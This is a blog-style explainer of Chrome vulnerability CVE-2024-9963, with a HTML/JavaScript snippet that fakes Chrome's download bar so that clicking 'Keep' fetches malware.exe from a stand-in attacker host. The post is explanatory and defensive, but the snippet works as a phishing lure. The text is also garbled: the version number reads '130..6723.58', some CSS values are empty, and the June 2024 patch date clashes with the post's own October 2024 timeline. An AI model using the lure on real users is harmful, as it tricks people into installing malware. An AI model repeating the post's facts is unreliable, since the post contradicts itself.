In early June 2024, Google Chrome patched a security issue, now tracked as CVE-2024-9963. This vulnerability affects versions of Chrome before 130..6723.58 and involves *insufficient data validation* in the browser’s downloads feature. An attacker could exploit it to trick users with a spoofed download interface, potentially leading to dangerous actions. This post explains the vulnerability in plain English, shows how it can be abused, and provides useful resources for reference.

What is CVE-2024-9963?

CVE-2024-9963 is a *Medium* severity vulnerability that exists due to improper data validation in the Downloads component of Google Chrome. If a remote attacker convinces a user to interact with a specially crafted website, they can display misleading UI elements, causing the user to download or open malicious files under false pretenses (UI spoofing).

In other words: a hacker can create a webpage that appears like a real Chrome download prompt, even though it’s a fake created by their site.

Impact: UI spoofing via crafted web pages

- Requirement: The user must interact with the attacker’s page, such as clicking on certain elements (“specific UI gestures”)
- Root Cause: Chrome fails to properly check and block fake UI created within a webpage mimicking download dialogs

How Does the Exploit Work?

The core idea is that Chrome’s download UI can be imitated by a well-crafted HTML page using CSS and JavaScript. The attacker makes the fake dialog look and behave just like the real thing. A user may believe they're interacting with a safe Chrome prompt when they're not.

Exploit Steps

1. Attacker designs a copy of Chrome’s download bar/dialog using HTML and CSS.
2. JavaScript listens to user's actions (like clicking buttons that look like “Open” or “Keep”).
3. When the user clicks, JavaScript can auto-trigger a real malicious download or execute further payloads.
4. Since Chrome didn’t validate if its download interface was being spoofed inside a web page, it’s hard for users to spot the fake one.

Code Snippet: Spoofed Download Bar

Below is a simplified example of how an attacker might craft a fake Chrome download bar in HTML and CSS:

<!-- Fake Chrome Download Bar -->
<div id="download-bar" style="
    position: fixed;
    bottom: ;
    left: ;
    width: 100vw;
    background: #212121;
    border-top: 1px solid #444;
    color: white;
    font-family: 'Segoe UI', Arial, sans-serif;
    display: flex;
    align-items: center;
    padding: 10px;">
  <img src="https://img.icons8.com/ios-filled/50/ffffff/file.png"; style="width:32px;height:32px;margin-right:10px;">
  <span style="flex:1;">dangerous_file.exe is considered harmful. Discard or Keep?</span>
  <button id="discard" style="margin-right:10px;background:#333;color:white;border:none;padding:8px;">Discard</button>
  <button id="keep" style="background:#4285F4;color:white;border:none;padding:8px;">Keep</button>
</div>

<script>
  document.getElementById('keep').onclick = function() {
    // Simulate a malicious file download
    window.location.href = 'https://attacker-site.example.com/malware.exe';;
  };
  document.getElementById('discard').onclick = function() {
    alert('File discarded (not really)');
    document.getElementById('download-bar').style.display = 'none';
  };
</script>

The UI looks almost exactly like Chrome’s own warning bar for downloads.

- If a user clicks “Keep”, their browser is tricked into downloading a malicious file from the attacker.
- “Discard” only hides the fake bar — unlike real Chrome behavior, it does nothing for safety.

Demo: UI Spoofing in Action

!Fake Chrome Download Bar Screenshot
*Fake download bar built into a webpage, not the real Chrome UI.*

Imagine a user lands on an innocent-looking site, gets an unexpected download prompt *inside the page*, interacts with it, and ends up unsafe — all because they trusted what looked like familiar Chrome message.

Google’s Fix

The Chrome Dev team addressed this by improving validation checks: the browser GUI won’t accept spoofed UI elements from within a web page and will likely overlay real browser dialogs above any in-content fakes.

Update Chrome: Make sure you’re running Chromium or Chrome 130..6723.58 or newer.

- Don’t trust site popups: Pay attention to UI subtlety — browser UI is usually outside the webpage’s content area.
- Use security software: Advanced anti-phishing and web filtering tools can help block known exploit pages.

References

- CVE-2024-9963 at NIST
- Chrome Release Notes (June 2024)
- Chromium Bugs Database (Issue 335372853)

Conclusion

CVE-2024-9963 reminds us that even trusted browser interfaces can be copied by clever attackers, especially when data validation or content isolation fails. Always keep your browser updated, and be suspicious of in-page dialogs that look too familiar.

*Stay safe — and don’t get fooled by fake Chrome prompts!*


*Written exclusively for you, with clarity and safety in mind.*

Timeline

Published on: 10/15/2024 21:15:12 UTC
Last modified on: 10/17/2024 20:02:16 UTC